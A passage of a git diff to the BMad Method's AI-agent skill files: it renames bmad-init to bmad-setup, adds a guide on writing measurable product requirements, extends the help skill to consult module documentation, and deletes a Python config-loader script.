 <action>Define responsibilities for each role</action>
 <status>[ ] Done / [ ] N/A / [ ] Action-needed</status>
diff --git a/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md b/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md
index 02368a0..612faa2 100644
--- a/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md
+++ b/plugins/bmad/skills/bmad-create-ux-design/steps/step-13-responsive-accessibility.md
@@ -240,7 +240,7 @@ When user selects 'C', append the content directly to the document using the str
 ✅ Appropriate breakpoint strategy established
 ✅ Accessibility requirements determined and documented
 ✅ Comprehensive testing strategy planned
-✅ Implementation guidelines provided for development team
+✅ Implementation guidelines provided for Developer agent
 ✅ A/P/C menu presented and handled correctly
 ✅ Content properly appended to document when C selected
 
diff --git a/plugins/bmad/skills/bmad-distillator/SKILL.md b/plugins/bmad/skills/bmad-distillator/SKILL.md
index 05ef36c..57c44d0 100644
--- a/plugins/bmad/skills/bmad-distillator/SKILL.md
+++ b/plugins/bmad/skills/bmad-distillator/SKILL.md
@@ -1,7 +1,6 @@
 ---
 name: bmad-distillator
 description: Lossless LLM-optimized compression of source documents. Use when the user requests to 'distill documents' or 'create a distillate'.
-argument-hint: "[to create provide input paths] [--validate distillate-path to confirm distillate is lossless and optimized]"
 ---
 
 # Distillator: A Document Distillation Engine
diff --git a/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md b/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md
index 11ffac5..d01cd49 100644
--- a/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md
+++ b/plugins/bmad/skills/bmad-distillator/resources/distillate-format-reference.md
@@ -81,18 +81,18 @@ When the same fact appears in both a brief and discovery notes:
 
 **Brief says:**
 ```
-bmad-init must always be included as a base skill in every bundle
+bmad-help must always be included as a base skill in every bundle
 ```
 
 **Discovery notes say:**
 ```
-bmad-init must always be included as a base skill in every bundle/install
-(solves bootstrapping problem)
+bmad-help must always be included as a base skill in every bundle/install
+(solves discoverability problem)
 ```
 
 **Distillate keeps the more contextual version:**
 ```
-- bmad-init: always included as base skill in every bundle (solves bootstrapping)
+- bmad-help: always included as base skill in every bundle (solves discoverability)
 ```
 
 ### Decision/Rationale Compression
@@ -128,7 +128,7 @@ parts: 1
 
 ## Core Concept
 - BMAD Next-Gen Installer: replaces monolithic Node.js CLI with skill-based plugin architecture for distributing BMAD methodology across 40+ AI platforms
-- Three layers: self-describing plugins (bmad-manifest.json), cross-platform install via Vercel skills CLI (MIT), runtime registration via bmad-init skill
+- Three layers: self-describing plugins (bmad-manifest.json), cross-platform install via Vercel skills CLI (MIT), runtime registration via bmad-setup skill
 - Transforms BMAD from dev-only methodology into open platform for any domain (creative, therapeutic, educational, personal)
 
 ## Problem
@@ -141,7 +141,7 @@ parts: 1
 - Plugins: skill bundles with Anthropic plugin standard as base format + bmad-manifest.json extending for BMAD-specific metadata (installer options, capabilities, help integration, phase ordering, dependencies)
 - Existing manifest example: `{"module-code":"bmm","replaces-skill":"bmad-create-product-brief","capabilities":[{"name":"create-brief","menu-code":"CB","supports-headless":true,"phase-name":"1-analysis","after":["brainstorming"],"before":["create-prd"],"is-required":true}]}`
 - Vercel skills CLI handles platform translation; integration pattern (wrap/fork/call) is PRD decision
-- bmad-init: global skill scanning installed bmad-manifest.json files, registering capabilities, configuring project settings; always included as base skill in every bundle (solves bootstrapping)
+- bmad-setup: global skill scanning installed bmad-manifest.json files, registering capabilities, configuring project settings; always included as base skill in every bundle (solves bootstrapping)
 - bmad-update: plugin update path without full reinstall; technical approach (diff/replace/preserve customizations) is PRD decision
 - Distribution tiers: (1) NPX installer wrapping skills CLI for technical users, (2) zip bundle + platform-specific README for non-technical users, (3) future marketplace
 - Non-technical path has honest friction: "copy to right folder" requires knowing where; per-platform README instructions; improves over time as low-code space matures
@@ -161,18 +161,18 @@ parts: 1
 - Zero (or near-zero) custom platform directory code; delegated to skills CLI ecosystem
 - Installation verified on top platforms by volume; skills CLI handles long tail
 - Non-technical install path validated with non-developer users
-- bmad-init discovers/registers all plugins from manifests; clear errors for malformed manifests
+- bmad-setup discovers/registers all plugins from manifests; clear errors for malformed manifests
 - At least one external module author successfully publishes plugin using manifest system
 - bmad-update works without full reinstall
 - Existing CLI users have documented migration path
 
 ## Scope
-- In: manifest spec, bmad-init, bmad-update, Vercel CLI integration, NPX installer, zip bundles, migration path
+- In: manifest spec, bmad-setup, bmad-update, Vercel CLI integration, NPX installer, zip bundles, migration path
 - Out: BMAD Builder, marketplace web platform, skill conversion (prerequisite, separate), one-click install for all platforms, monetization, quality certification process (gated-submission principle is architectural requirement; process defined separately)
 - Deferred: CI/CD integration, telemetry for module authors, air-gapped enterprise install, zip bundle integrity verification (checksums/signing), deeper non-technical platform integrations
 
 ## Current Installer (migration context)
-- Entry: `tools/cli/bmad-cli.js` (Commander.js) → `tools/cli/installers/lib/core/installer.js`
+- Entry: `tools/installer/bmad-cli.js` (Commander.js) → `tools/installer/core/installer.js`
 - Platforms: `platform-codes.yaml` (~20 platforms with target dirs, legacy dirs, template types, special flags)
 - Manifests: CSV files (skill/workflow/agent-manifest.csv) are current source of truth, not JSON
 - External modules: `external-official-modules.yaml` (CIS, GDS, TEA, WDS) from npm with semver
@@ -214,7 +214,7 @@ parts: 1
 
 ## Opportunities
 - Module authors as acquisition channel: each published plugin distributes BMAD to creator's audience
-- CI/CD integration: bmad-init as pipeline one-liner increases stickiness
+- CI/CD integration: bmad-setup as pipeline one-liner increases stickiness
 - Educational institutions: structured methodology + non-technical install → university AI curriculum
 - Skill composability: mixing BMAD modules with third-party skills for custom methodology stacks
 
diff --git a/plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md b/plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md
new file mode 100644
index 0000000..755230b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-edit-prd/data/prd-purpose.md
@@ -0,0 +1,197 @@
+# BMAD PRD Purpose
+
+**The PRD is the top of the required funnel that feeds all subsequent product development work in rhw BMad Method.**
+
+---
+
+## What is a BMAD PRD?
+
+A dual-audience document serving:
+1. **Human Product Managers and builders** - Vision, strategy, stakeholder communication
+2. **LLM Downstream Consumption** - UX Design → Architecture → Epics → Development AI Agents
+
+Each successive document becomes more AI-tailored and granular.
+
+---
+
+## Core Philosophy: Information Density
+
+**High Signal-to-Noise Ratio**
+
+Every sentence must carry information weight. LLMs consume precise, dense content efficiently.
+
+**Anti-Patterns (Eliminate These):**
+- ❌ "The system will allow users to..." → ✅ "Users can..."
+- ❌ "It is important to note that..." → ✅ State the fact directly
+- ❌ "In order to..." → ✅ "To..."
+- ❌ Conversational filler and padding → ✅ Direct, concise statements
+
+**Goal:** Maximum information per word. Zero fluff.
+
+---
+
+## The Traceability Chain
+
+**PRD starts the chain:**
+```
+Vision → Success Criteria → User Journeys → Functional Requirements → (future: User Stories)
+```
+
+**In the PRD, establish:**
+- Vision → Success Criteria alignment
+- Success Criteria → User Journey coverage
+- User Journey → Functional Requirement mapping
+- All requirements traceable to user needs
+
+**Why:** Each downstream artifact (UX, Architecture, Epics, Stories) must trace back to documented user needs and business objectives. This chain ensures we build the right thing.
+
+---
+
+## What Makes Great Functional Requirements?
+
+### FRs are Capabilities, Not Implementation
+
+**Good FR:** "Users can reset their password via email link"
+**Bad FR:** "System sends JWT via email and validates with database" (implementation leakage)
+
+**Good FR:** "Dashboard loads in under 2 seconds for 95th percentile"
+**Bad FR:** "Fast loading time" (subjective, unmeasurable)
+
+### SMART Quality Criteria
+
+**Specific:** Clear, precisely defined capability
+**Measurable:** Quantifiable with test criteria
+**Attainable:** Realistic within constraints
+**Relevant:** Aligns with business objectives
+**Traceable:** Links to source (executive summary or user journey)
+
+### FR Anti-Patterns
+
+**Subjective Adjectives:**
+- ❌ "easy to use", "intuitive", "user-friendly", "fast", "responsive"
+- ✅ Use metrics: "completes task in under 3 clicks", "loads in under 2 seconds"
+
+**Implementation Leakage:**
+- ❌ Technology names, specific libraries, implementation details
+- ✅ Focus on capability and measurable outcomes
+
+**Vague Quantifiers:**
+- ❌ "multiple users", "several options", "various formats"
+- ✅ "up to 100 concurrent users", "3-5 options", "PDF, DOCX, TXT formats"
+
+**Missing Test Criteria:**
+- ❌ "The system shall provide notifications"
+- ✅ "The system shall send email notifications within 30 seconds of trigger event"
+
+---
+
+## What Makes Great Non-Functional Requirements?
+
+### NFRs Must Be Measurable
+
+**Template:**
+```
+"The system shall [metric] [condition] [measurement method]"
+```
+
+**Examples:**
+- ✅ "The system shall respond to API requests in under 200ms for 95th percentile as measured by APM monitoring"
+- ✅ "The system shall maintain 99.9% uptime during business hours as measured by cloud provider SLA"
+- ✅ "The system shall support 10,000 concurrent users as measured by load testing"
+
+### NFR Anti-Patterns
+
+**Unmeasurable Claims:**
+- ❌ "The system shall be scalable" → ✅ "The system shall handle 10x load growth through horizontal scaling"
+- ❌ "High availability required" → ✅ "99.9% uptime as measured by cloud provider SLA"
+
+**Missing Context:**
+- ❌ "Response time under 1 second" → ✅ "API response time under 1 second for 95th percentile under normal load"
+
+---
+
+## Domain-Specific Requirements
+
+**Auto-Detect and Enforce Based on Project Context**
+
+Certain industries have mandatory requirements that must be present:
+
+- **Healthcare:** HIPAA Privacy & Security Rules, PHI encryption, audit logging, MFA
+- **Fintech:** PCI-DSS Level 1, AML/KYC compliance, SOX controls, financial audit trails
+- **GovTech:** NIST framework, Section 508 accessibility (WCAG 2.1 AA), FedRAMP, data residency
+- **E-Commerce:** PCI-DSS for payments, inventory accuracy, tax calculation by jurisdiction
+
+**Why:** Missing these requirements in the PRD means they'll be missed in architecture and implementation, creating expensive rework. During PRD creation there is a step to cover this - during validation we want to make sure it was covered. For this purpose steps will utilize a domain-complexity.csv and project-types.csv.
+
+---
+
+## Document Structure (Markdown, Human-Readable)
+
+### Required Sections
+1. **Executive Summary** - Vision, differentiator, target users
+2. **Success Criteria** - Measurable outcomes (SMART)
+3. **Product Scope** - MVP, Growth, Vision phases
+4. **User Journeys** - Comprehensive coverage
+5. **Domain Requirements** - Industry-specific compliance (if applicable)
+6. **Innovation Analysis** - Competitive differentiation (if applicable)
+7. **Project-Type Requirements** - Platform-specific needs
+8. **Functional Requirements** - Capability contract (FRs)
+9. **Non-Functional Requirements** - Quality attributes (NFRs)
+
+### Formatting for Dual Consumption
+
+**For Humans:**
+- Clear, professional language
+- Logical flow from vision to requirements
+- Easy for stakeholders to review and approve
+
+**For LLMs:**
+- ## Level 2 headers for all main sections (enables extraction)
+- Consistent structure and patterns
+- Precise, testable language
+- High information density
+
+---
+
+## Downstream Impact
+
+**How the PRD Feeds Next Artifacts:**
+
+**UX Design:**
+- User journeys → interaction flows
+- FRs → design requirements
+- Success criteria → UX metrics
+
+**Architecture:**
+- FRs → system capabilities
+- NFRs → architecture decisions
+- Domain requirements → compliance architecture
+- Project-type requirements → platform choices
+
+**Epics & Stories (created after architecture):**
+- FRs → user stories (1 FR could map to 1-3 stories potentially)
+- Acceptance criteria → story acceptance tests
+- Priority → sprint sequencing
+- Traceability → stories map back to vision
+
+**Development AI Agents:**
+- Precise requirements → implementation clarity
+- Test criteria → automated test generation
+- Domain requirements → compliance enforcement
+- Measurable NFRs → performance targets
+
+---
+
+## Summary: What Makes a Great BMAD PRD?
+
+✅ **High Information Density** - Every sentence carries weight, zero fluff
+✅ **Measurable Requirements** - All FRs and NFRs are testable with specific criteria
+✅ **Clear Traceability** - Each requirement links to user need and business objective
+✅ **Domain Awareness** - Industry-specific requirements auto-detected and included
+✅ **Zero Anti-Patterns** - No subjective adjectives, implementation leakage, or vague quantifiers
+✅ **Dual Audience Optimized** - Human-readable AND LLM-consumable
+✅ **Markdown Format** - Professional, clean, accessible to all stakeholders
+
+---
+
+**Remember:** The PRD is the foundation. Quality here ripples through every subsequent phase. A dense, precise, well-traced PRD makes UX design, architecture, epic breakdown, and AI development dramatically more effective.
diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md
index 85b29ad..39e3449 100644
--- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md
+++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01-discovery.md
@@ -1,6 +1,6 @@
 ---
 # File references (ONLY variables used in this step)
-prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 ---
 
 # Step E-1: Discovery & Understanding
diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md
index a4f463f..54f8252 100644
--- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md
+++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-01b-legacy-conversion.md
@@ -1,7 +1,7 @@
 ---
 # File references (ONLY variables used in this step)
 prdFile: '{prd_file_path}'
-prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 ---
 
 # Step E-1B: Legacy PRD Conversion Assessment
diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md
index 8440edd..c01a0ad 100644
--- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md
+++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-02-review.md
@@ -2,7 +2,7 @@
 # File references (ONLY variables used in this step)
 prdFile: '{prd_file_path}'
 validationReport: '{validation_report_path}'  # If provided
-prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 ---
 
 # Step E-2: Deep Review & Analysis
diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md
index e0391fb..5b5e669 100644
--- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md
+++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-03-edit.md
@@ -1,7 +1,7 @@
 ---
 # File references (ONLY variables used in this step)
 prdFile: '{prd_file_path}'
-prdPurpose: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/data/prd-purpose.md'
+prdPurpose: '../data/prd-purpose.md'
 ---
 
 # Step E-3: Edit & Update
diff --git a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md
index 25af09a..1406e63 100644
--- a/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md
+++ b/plugins/bmad/skills/bmad-edit-prd/steps-e/step-e-04-complete.md
@@ -1,7 +1,6 @@
 ---
 # File references (ONLY variables used in this step)
 prdFile: '{prd_file_path}'
-validationWorkflow: '{project-root}/_bmad/bmm-skills/2-plan-workflows/create-prd/steps-v/step-v-01-discovery.md'
 ---
 
 # Step E-4: Complete & Validate
@@ -117,8 +116,7 @@ Display:
   - Display: "This will run all 13 validation checks on the updated PRD."
   - Display: "Preparing to validate: {prd_file_path}"
   - Display: "**Proceeding to validation...**"
-  - Read fully and follow: {validationWorkflow} (steps-v/step-v-01-discovery.md)
-  - Note: This hands off to the validation workflow which will run its complete 13-step process
+  - Invoke the `bmad-validate-prd` skill to run the complete validation workflow
 
 - **IF E (Edit More):**
   - Display: "**Additional Edits**"
diff --git a/plugins/bmad/skills/bmad-help/SKILL.md b/plugins/bmad/skills/bmad-help/SKILL.md
index cecb50f..e829543 100644
--- a/plugins/bmad/skills/bmad-help/SKILL.md
+++ b/plugins/bmad/skills/bmad-help/SKILL.md
@@ -7,7 +7,7 @@ description: 'Analyzes current state and user query to answer BMad questions or
 
 ## Purpose
 
-Help the user understand where they are in their BMad workflow and what to do next. Answer BMad questions when asked.
+Help the user understand where they are in their BMad workflow and what to do next, and also answer broader questions when asked that could be augmented with remote sources such as module documentation sources.
 
 ## Desired Outcomes
 
@@ -18,6 +18,7 @@ When this skill completes, the user should:
 3. **Know how to invoke it** — skill name, menu code, action context, and any args that shortcut the conversation
 4. **Get offered a quick start** — when a single skill is the clear next step, offer to run it for the user right now rather than just listing it
 5. **Feel oriented, not overwhelmed** — surface only what's relevant to their current position; don't dump the entire catalog
+6. **Get answers to general questions** — when the question doesn't map to a specific skill, use the module's registered documentation to give a grounded answer
 
 ## Data Sources
 
@@ -25,6 +26,7 @@ When this skill completes, the user should:
 - **Config**: `config.yaml` and `user-config.yaml` files in `{project-root}/_bmad/` and its subfolders — resolve `output-location` variables, provide `communication_language` and `project_knowledge`
 - **Artifacts**: Files matching `outputs` patterns at resolved `output-location` paths reveal which steps are possibly completed; their content may also provide grounding context for recommendations
 - **Project knowledge**: If `project_knowledge` resolves to an existing path, read it for grounding context. Never fabricate project-specific details.
+- **Module docs**: Rows with `_meta` in the `skill` column carry a URL or path in `output-location` pointing to the module's documentation (e.g., llms.txt). Fetch and use these to answer general questions about that module.
 
 ## CSV Interpretation
 
@@ -70,4 +72,4 @@ For each recommended item, present:
 - Present all output in `{communication_language}`
 - Recommend running each skill in a **fresh context window**
 - Match the user's tone — conversational when they're casual, structured when they want specifics
-- If the active module is ambiguous, ask rather than guess
+- If the active module is ambiguous, retrieve all meta rows remote sources to find relevant info also to help answer their question
diff --git a/plugins/bmad/skills/bmad-init/SKILL.md b/plugins/bmad/skills/bmad-init/SKILL.md
deleted file mode 100644
index aea00fb..0000000
--- a/plugins/bmad/skills/bmad-init/SKILL.md
+++ /dev/null
@@ -1,100 +0,0 @@
----
-name: bmad-init
-description: "Initialize BMad project configuration and load config variables. Use when any skill needs module-specific configuration values, or when setting up a new BMad project."
-argument-hint: "[--module=module_code] [--vars=var1:default1,var2] [--skill-path=/path/to/calling/skill]"
----
-
-## Overview
-
-This skill is the configuration entry point for all BMad skills. It has two modes:
-
-- **Fast path**: Config exists for the requested module — returns vars as JSON. Done.
-- **Init path**: Config is missing — walks the user through configuration, writes config files, then returns vars.
-
-Every BMad skill should call this on activation to get its config vars. The caller never needs to know whether init happened — they just get their config back.
-
-The script `bmad_init.py` is located in this skill's `scripts/` directory. Locate and run it using python for all commands below.
-
-## On Activation — Fast Path
-
-Run the `bmad_init.py` script with the `load` subcommand. Pass `--project-root` set to the project root directory.
-
-- If a module code was provided by the calling skill, include `--module {module_code}`
-- To load all vars, include `--all`
-- To request specific variables with defaults, use `--vars var1:default1,var2`
-- If no module was specified, omit `--module` to get core vars only
-
-**If the script returns JSON vars** — store them as `{var-name}` and return to the calling skill. Done.
-
-**If the script returns an error or `init_required`** — proceed to the Init Path below.
-
-## Init Path — First-Time Setup
-
-When the fast path fails (config missing for a module), run this init flow.
-
-### Step 1: Check what needs setup
-
-Run `bmad_init.py` with the `check` subcommand, passing `--module {module_code}`, `--skill-path {calling_skill_path}`, and `--project-root`.
-
-The response tells you what's needed:
-
-- `"status": "ready"` — Config is fine. Re-run load.
-- `"status": "no_project"` — Can't find project root. Ask user to confirm the project path.
-- `"status": "core_missing"` — Core config doesn't exist. Must ask core questions first.
-- `"status": "module_missing"` — Core exists but module config doesn't. Ask module questions.
-
-The response includes:
-- `core_module` — Core module.yaml questions (when core setup needed)
-- `target_module` — Target module.yaml questions (when module setup needed, discovered from `--skill-path` or `_bmad/{module}/`)
-- `core_vars` — Existing core config values (when core exists but module doesn't)
-
-### Step 2: Ask core questions (if `core_missing`)
-
-The check response includes `core_module` with header, subheader, and variable definitions.
-
-1. Show the `header` and `subheader` to the user
-2. For each variable, present the `prompt` and `default`
-3. For variables with `single-select`, show the options as a numbered list
-4. For variables with multi-line `prompt` (array), show all lines
-5. Let the user accept defaults or provide values
-
-### Step 3: Ask module questions (if module was requested)
-
-The check response includes `target_module` with the module's questions. Variables may reference core answers in their defaults (e.g., `{output_folder}`).
-
-1. Resolve defaults by running `bmad_init.py` with the `resolve-defaults` subcommand, passing `--module {module_code}`, `--core-answers '{core_answers_json}'`, and `--project-root`
-2. Show the module's `header` and `subheader`
-3. For each variable, present the prompt with resolved default
-4. For `single-select` variables, show options as a numbered list
-
-### Step 4: Write config
-
-Collect all answers and run `bmad_init.py` with the `write` subcommand, passing `--answers '{all_answers_json}'` and `--project-root`.
-
-The `--answers` JSON format:
-
-```json
-{
-  "core": {
-    "user_name": "BMad",
-    "communication_language": "English",
-    "document_output_language": "English",
-    "output_folder": "_bmad-output"
-  },
-  "bmb": {
-    "bmad_builder_output_folder": "_bmad-output/skills",
-    "bmad_builder_reports": "_bmad-output/reports"
-  }
-}
-```
-
-Note: Pass the **raw user answers** (before result template expansion). The script applies result templates and `{project-root}` expansion when writing.
-
-The script:
-- Creates `_bmad/core/config.yaml` with core values (if core answers provided)
-- Creates `_bmad/{module}/config.yaml` with core values + module values (result-expanded)
-- Creates any directories listed in the module.yaml `directories` array
-
-### Step 5: Return vars
-
-After writing, re-run `bmad_init.py` with the `load` subcommand (same as the fast path) to return resolved vars. Store returned vars as `{var-name}` and return them to the calling skill.
diff --git a/plugins/bmad/skills/bmad-init/resources/core-module.yaml b/plugins/bmad/skills/bmad-init/resources/core-module.yaml
deleted file mode 100644
index 48e7a58..0000000
--- a/plugins/bmad/skills/bmad-init/resources/core-module.yaml
+++ /dev/null
@@ -1,25 +0,0 @@
-code: core
-name: "BMad Core Module"
-
-header: "BMad Core Configuration"
-subheader: "Configure the core settings for your BMad installation.\nThese settings will be used across all installed bmad skills, workflows, and agents."
-
-user_name:
-  prompt: "What should agents call you? (Use your name or a team name)"
-  default: "BMad"
-  result: "{value}"
-
-communication_language:
-  prompt: "What language should agents use when chatting with you?"
-  default: "English"
-  result: "{value}"
-
-document_output_language:
-  prompt: "Preferred document output language?"
-  default: "English"
-  result: "{value}"
-
-output_folder:
-  prompt: "Where should output files be saved?"
-  default: "_bmad-output"
-  result: "{project-root}/{value}"
diff --git a/plugins/bmad/skills/bmad-init/scripts/bmad_init.py b/plugins/bmad/skills/bmad-init/scripts/bmad_init.py
deleted file mode 100644
index 0c80eaa..0000000
--- a/plugins/bmad/skills/bmad-init/scripts/bmad_init.py
+++ /dev/null
@@ -1,593 +0,0 @@
-# /// script
-# requires-python = ">=3.10"
-# dependencies = ["pyyaml"]
-# ///
-
-#!/usr/bin/env python3
-"""
-BMad Init — Project configuration bootstrap and config loader.
-
-Config files (flat YAML per module):
-  - _bmad/core/config.yaml (core settings — user_name, language, output_folder, etc.)
-  - _bmad/{module}/config.yaml (module settings + core values merged in)
-
-Usage:
-  # Fast path — load all vars for a module (includes core vars)
-  python bmad_init.py load --module bmb --all --project-root /path
-
-  # Load specific vars with optional defaults
-  python bmad_init.py load --module bmb --vars var1:default1,var2 --project-root /path
-
-  # Load core only
-  python bmad_init.py load --all --project-root /path
-
-  # Check if init is needed
-  python bmad_init.py check --project-root /path
-  python bmad_init.py check --module bmb --skill-path /path/to/skill --project-root /path
-
-  # Resolve module defaults given core answers
-  python bmad_init.py resolve-defaults --module bmb --core-answers '{"output_folder":"..."}' --project-root /path
-
-  # Write config from answered questions
-  python bmad_init.py write --answers '{"core": {...}, "bmb": {...}}' --project-root /path
-"""
-
-import argparse
-import json
-import os
-import sys
-from pathlib import Path
-
-import yaml
-
-
-# =============================================================================
-# Project Root Detection
-# =============================================================================
-
-def find_project_root(llm_provided=None):
-    """
-    Find project root by looking for _bmad folder.
-
-    Args:
-        llm_provided: Path explicitly provided via --project-root.
-
-    Returns:
-        Path to project root, or None if not found.
-    """
-    if llm_provided:
-        candidate = Path(llm_provided)
-        if (candidate / '_bmad').exists():
-            return candidate
-        # First run — _bmad won't exist yet but LLM path is still valid
-        if candidate.is_dir():
-            return candidate
-
-    for start_dir in [Path.cwd(), Path(__file__).resolve().parent]:
-        current_dir = start_dir
-        while current_dir != current_dir.parent:
-            if (current_dir / '_bmad').exists():
-                return current_dir
-            current_dir = current_dir.parent
-
-    return None
-
-
-# =============================================================================
-# Module YAML Loading
-# =============================================================================
-
-def load_module_yaml(path):
-    """
-    Load and parse a module.yaml file, separating metadata from variable definitions.
-
-    Returns:
-        Dict with 'meta' (code, name, etc.) and 'variables' (var definitions)
-        and 'directories' (list of dir templates), or None on failure.
-    """
-    try:
-        with open(path, 'r', encoding='utf-8') as f:
-            raw = yaml.safe_load(f)
-    except Exception:
-        return None
-
-    if not raw or not isinstance(raw, dict):
-        return None
-
-    meta_keys = {'code', 'name', 'description', 'default_selected', 'header', 'subheader'}
-    meta = {}
-    variables = {}
-    directories = []
-
-    for key, value in raw.items():
-        if key == 'directories':
-            directories = value if isinstance(value, list) else []
-        elif key in meta_keys:
-            meta[key] = value
-        elif isinstance(value, dict) and 'prompt' in value:
-            variables[key] = value
-        # Skip comment-only entries (## var_name lines become None values)
-
-    return {'meta': meta, 'variables': variables, 'directories': directories}
-
-
-def find_core_module_yaml():
-    """Find the core module.yaml bundled with this skill."""
-    return Path(__file__).resolve().parent.parent / 'resources' / 'core-module.yaml'
-
-
-def find_target_module_yaml(module_code, project_root, skill_path=None):
-    """
-    Find module.yaml for a given module code.
-
-    Search order:
-      1. skill_path/assets/module.yaml (calling skill's assets)
-      2. skill_path/module.yaml (calling skill's root)
-      3. _bmad/{module_code}/module.yaml (installed module location)
-    """
-    search_paths = []
-
-    if skill_path:
-        sp = Path(skill_path)
-        search_paths.append(sp / 'assets' / 'module.yaml')
-        search_paths.append(sp / 'module.yaml')
-
-    if project_root and module_code:
-        search_paths.append(Path(project_root) / '_bmad' / module_code / 'module.yaml')
-
-    for path in search_paths:
-        if path.exists():
-            return path
-
-    return None
-
-
-# =============================================================================
-# Config Loading (Flat per-module files)
-# =============================================================================
-
-def load_config_file(path):
-    """Load a flat YAML config file. Returns dict or None."""
-    try:
-        with open(path, 'r', encoding='utf-8') as f:
-            data = yaml.safe_load(f)
-            return data if isinstance(data, dict) else None
-    except Exception:
-        return None
-
-
-def load_module_config(module_code, project_root):
-    """Load config for a specific module from _bmad/{module}/config.yaml."""
-    config_path = Path(project_root) / '_bmad' / module_code / 'config.yaml'
-    return load_config_file(config_path)
-
-
-def resolve_project_root_placeholder(value, project_root):
-    """Replace {project-root} placeholder with actual path."""
-    if not value or not isinstance(value, str):
-        return value
-    if '{project-root}' in value:
-        return value.replace('{project-root}', str(project_root))
-    return value
-
-
-def parse_var_specs(vars_string):
-    """
-    Parse variable specs: var_name:default_value,var_name2:default_value2
-    No default = returns null if missing.
-    """
-    if not vars_string:
-        return []
-    specs = []
-    for spec in vars_string.split(','):
-        spec = spec.strip()
-        if not spec:
-            continue
-        if ':' in spec:
-            parts = spec.split(':', 1)
-            specs.append({'name': parts[0].strip(), 'default': parts[1].strip()})
-        else:
-            specs.append({'name': spec, 'default': None})
-    return specs
-
-
-# =============================================================================
-# Template Expansion
-# =============================================================================
-
-def expand_template(value, context):
-    """
-    Expand {placeholder} references in a string using context dict.
-
-    Supports: {project-root}, {value}, {output_folder}, {directory_name}, etc.
-    """
-    if not value or not isinstance(value, str):
-        return value
-    result = value
-    for key, val in context.items():
-        placeholder = '{' + key + '}'
-        if placeholder in result and val is not None:
-            result = result.replace(placeholder, str(val))
-    return result
-
-
-def apply_result_template(var_def, raw_value, context):
-    """
-    Apply a variable's result template to transform the raw user answer.
-
-    E.g., result: "{project-root}/{value}" with value="_bmad-output"
-    becomes "/Users/foo/project/_bmad-output"
-    """
-    result_template = var_def.get('result')
-    if not result_template:
-        return raw_value
-
-    ctx = dict(context)
-    ctx['value'] = raw_value
-    return expand_template(result_template, ctx)
-
-
-# =============================================================================
-# Load Command (Fast Path)
-# =============================================================================
-
-def cmd_load(args):
-    """Load config vars — the fast path."""
-    project_root = find_project_root(llm_provided=args.project_root)
-    if not project_root:
-        print(json.dumps({'error': 'Project root not found (_bmad folder not detected)'}),
-              file=sys.stderr)
-        sys.exit(1)
-
-    module_code = args.module or 'core'
-
-    # Load the module's config (which includes core vars)
-    config = load_module_config(module_code, project_root)
-    if config is None:
-        print(json.dumps({
-            'init_required': True,
-            'missing_module': module_code,
-        }), file=sys.stderr)
-        sys.exit(1)
-
-    # Resolve {project-root} in all values
-    for key in config:
-        config[key] = resolve_project_root_placeholder(config[key], project_root)
-
-    if args.all:
-        print(json.dumps(config, indent=2))
-    else:
-        var_specs = parse_var_specs(args.vars)
-        if not var_specs:
-            print(json.dumps({'error': 'Either --vars or --all must be specified'}),
-                  file=sys.stderr)
-            sys.exit(1)
-        result = {}
-        for spec in var_specs:
-            val = config.get(spec['name'])
-            if val is not None and val != '':
-                result[spec['name']] = val
-            elif spec['default'] is not None:
-                result[spec['name']] = spec['default']
-            else:
-                result[spec['name']] = None
-        print(json.dumps(result, indent=2))
-
-
-# =============================================================================
-# Check Command
-# =============================================================================
-
-def cmd_check(args):
-    """Check if config exists and return status with module.yaml questions if needed."""
-    project_root = find_project_root(llm_provided=args.project_root)
-    if not project_root:
-        print(json.dumps({
-            'status': 'no_project',
-            'message': 'No project root found. Provide --project-root to bootstrap.',
-        }, indent=2))
-        return
-
-    project_root = Path(project_root)
-    module_code = args.module
-
-    # Check core config
-    core_config = load_module_config('core', project_root)
-    core_exists = core_config is not None
-
-    # If no module requested, just check core
-    if not module_code or module_code == 'core':
-        if core_exists:
-            print(json.dumps({'status': 'ready', 'project_root': str(project_root)}, indent=2))
-        else:
-            core_yaml_path = find_core_module_yaml()
-            core_module = load_module_yaml(core_yaml_path) if core_yaml_path.exists() else None
